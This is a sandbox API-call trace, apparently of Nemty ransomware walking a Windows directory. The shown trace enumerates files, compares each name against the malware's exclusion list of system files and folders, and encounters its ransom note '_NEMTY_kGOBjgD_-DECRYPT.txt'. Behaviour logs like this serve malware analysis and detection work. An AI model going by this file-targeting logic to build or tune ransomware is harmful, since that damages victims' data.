FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf38ff070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf38ff070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0107.247] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.247] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.247] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38ff070, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf38ff070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf38ff070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.247] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0107.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e0 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.248] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38ff070, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf38ff070, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf38ff070, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.248] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0107.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0107.248] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0107.248] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0107.248] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="...") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="windows") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="rsa") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="NTDETECT.COM") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="ntldr") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="MSDOS.SYS") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="IO.SYS") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="boot.ini") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="boot.ini") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="ntuser.dat") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="desktop.ini") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="CONFIG.SYS") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="RECYCLER") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="bootmgr") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="programdata") returned 1 [0107.249] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="appdata") returned 1 [0107.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe", lpUsedDefaultChar=0x0) returned 12 [0107.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe", lpUsedDefaultChar=0x0) returned 12 [0107.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe", lpUsedDefaultChar=0x0) returned 12 [0107.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmlaunch.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmlaunch.exe", lpUsedDefaultChar=0x0) returned 12 [0107.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0107.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.250] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f0b759, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f0b759, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f0b759, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="...") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="windows") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="rsa") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="NTDETECT.COM") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="ntldr") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="MSDOS.SYS") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="IO.SYS") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="boot.ini") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="boot.ini") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="ntuser.dat") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="desktop.ini") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="CONFIG.SYS") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="RECYCLER") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="bootmgr") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="programdata") returned 1 [0107.250] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="appdata") returned 1 [0107.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0107.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpconfig.exe", lpUsedDefaultChar=0x0) returned 13 [0107.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0107.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpconfig.exe", lpUsedDefaultChar=0x0) returned 13 [0107.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0107.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x653f5e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpconfig.exe", lpUsedDefaultChar=0x0) returned 13 [0107.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0107.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpconfig.exe", cchWideChar=13, lpMultiByteStr=0x653f618, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpconfig.exe", lpUsedDefaultChar=0x0) returned 13 [0107.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0107.251] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b1f2fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="...") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="windows") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="rsa") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="NTDETECT.COM") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="ntldr") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="MSDOS.SYS") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="IO.SYS") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="boot.ini") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="boot.ini") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="ntuser.dat") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="desktop.ini") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="CONFIG.SYS") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="RECYCLER") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="bootmgr") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="programdata") returned 1 [0107.251] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="appdata") returned 1 [0107.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe", lpUsedDefaultChar=0x0) returned 10 [0107.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe", lpUsedDefaultChar=0x0) returned 10 [0107.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe", lpUsedDefaultChar=0x0) returned 10 [0107.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe", lpUsedDefaultChar=0x0) returned 10 [0107.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0107.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: 